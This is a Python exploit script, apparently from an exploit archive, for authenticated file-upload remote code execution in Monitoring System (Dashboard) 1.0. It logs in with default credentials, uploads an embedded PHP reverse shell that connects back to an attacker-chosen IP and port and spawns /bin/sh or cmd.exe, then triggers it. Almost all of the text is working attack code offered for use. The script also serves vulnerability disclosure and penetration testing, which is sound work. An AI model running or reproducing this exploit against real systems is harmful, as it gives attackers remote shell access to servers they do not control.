# Exploit Title: Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated)
# Exploit Author: Richard Jones
# Date: 2021-03-11
# Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11741&title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34
# Usage.
# Change Target_IP, REV_IP, REV_PORT to your own
import requests
def main():
##### Change info here #####
TARGET_IP="127.0.0.1"
REV_IP="127.0.0.1"
REV_PORT=9999
############################
LOGIN="/asistorage/login.php"
MAILING_LIST="/asistorage/modules/random/index.php?view=add"
UPLOAD_URL="/asistorage/modules/random/upload.php"
VIEW_ITEM="/asistorage/modules/random/index.php"
CALL_URL="/asistorage/modules/random/uploads/"
s = requests.Session()
def phpshell():
return """
<?php
// Copyright (c) 2020 Ivan Å incek
// v1.1
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
header('Content-Type: text/plain; charset=UTF-8');
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $options = array(); // proc_open() options
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = '/bin/sh';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
$this->options['bypass_shell'] = true; // we do not want a shell within a shell
} else {
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
exit(0);
}
}
private function daemonize() {
set_time_limit(0); // do not impose the script execution time limit
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else {
if (($pid = pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
exit(0);
} else if (posix_setsid() < 0) { // once daemonized you will no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
}
umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
echo $data; // script's dump
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$size = fstat($input)['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT
$size -= $this->offset($input, $iname, $this->clen); // we do not like that
$this->clen = 0;
}
$fragments = ceil($size / $this->buffer); // number of fragments to read
$remainder = $size % $this->buffer; // size of the last fragment if it is less than the buffer size
while ($fragments && ($data = $this->read($input, $iname, $remainder && $fragments-- == 1 ? $remainder : $this->buffer)) && $this->write($output, $oname, $data)) {
echo $data; // script's dump
}
}
private function offset($stream, $name, $offset) {
$total = $offset;
while ($offset > 0 && $this->read($stream, $name, $offset >= $this->buffer ? $this->buffer : $offset)) { // discard the data from a stream
$offset -= $this->buffer;
}
return $offset > 0 ? $total - $offset : $total;
}
public function run() {
$this->daemonize();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = proc_open($this->shell, $this->descriptorspec, $pipes, '/', null, $this->options);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
fwrite($socket, "SOCKET: Shell has connected! PID: " . proc_get_status($process)['pid'] . "\n");
while (!$this->error) {
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (fstat($pipes[2])['size']/*-------*/) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (fstat($pipes[1])['size']/*-------*/) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
}
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
// change the host address and/or port number as necessary
$reverse_shell = new Shell('OLDIP', OLDPORT);
$reverse_shell->Run();
?>"""
def login(url,username, password):
try:
data = {
"uname":username,
"upass":password,
"btnlogin":""
}
r = s.post(url,data=data, verify=False)
page = r.text
if "Invalid Username or Password, please try again." in page:
return False
else:
return True
except :
return False
def uploadShell(url):
s.get(f"{url}{MAILING_LIST}") # Call page
fileData = {
'uploaded_file':("rev.php",str(phpshell().replace("OLDIP", REV_IP).replace("OLDPORT", str(REV_PORT))).encode(), "application/octet-stream")}
data={
"pname":"",
"pname":"a",
'cutoff':'',
'cutoff':'a',
'projectname':'',
'type':'a',
'projectname':'',
'dsend':'2029-03-19',
'desc':'a',
'MAX_FILE_SIZE':100000,
'Uploader':'',
}
up_url=f"{url}{UPLOAD_URL}"
r = s.post(up_url, files=fileData,data=data, verify=False)
if r.status_code == 200:
print("shell uploaded")
else:
print("Shell upload failed")
exit(0)
r = s.get(f"{url}{VIEW_ITEM}")
page = r.text
DL_URL=page.split("download.php?filename=")[1].split("\">")[0]
return DL_URL
#Login
base_url=f"http://{TARGET_IP}"
login_url=f"{base_url}{LOGIN}"
b=login(login_url, "jim", "jim")
if not b:
print("Login failed, Try again...")
exit(0)
#CAll shell
base=f"{base_url}"
CALL_URL_PART=uploadShell(base)
c_url=f"{base}{CALL_URL}{CALL_URL_PART}"
s.get(c_url)
#Shell can be found at http:/TARGET//asistorage/modules/random/uploads/
if __name__ == "__main__":
main()
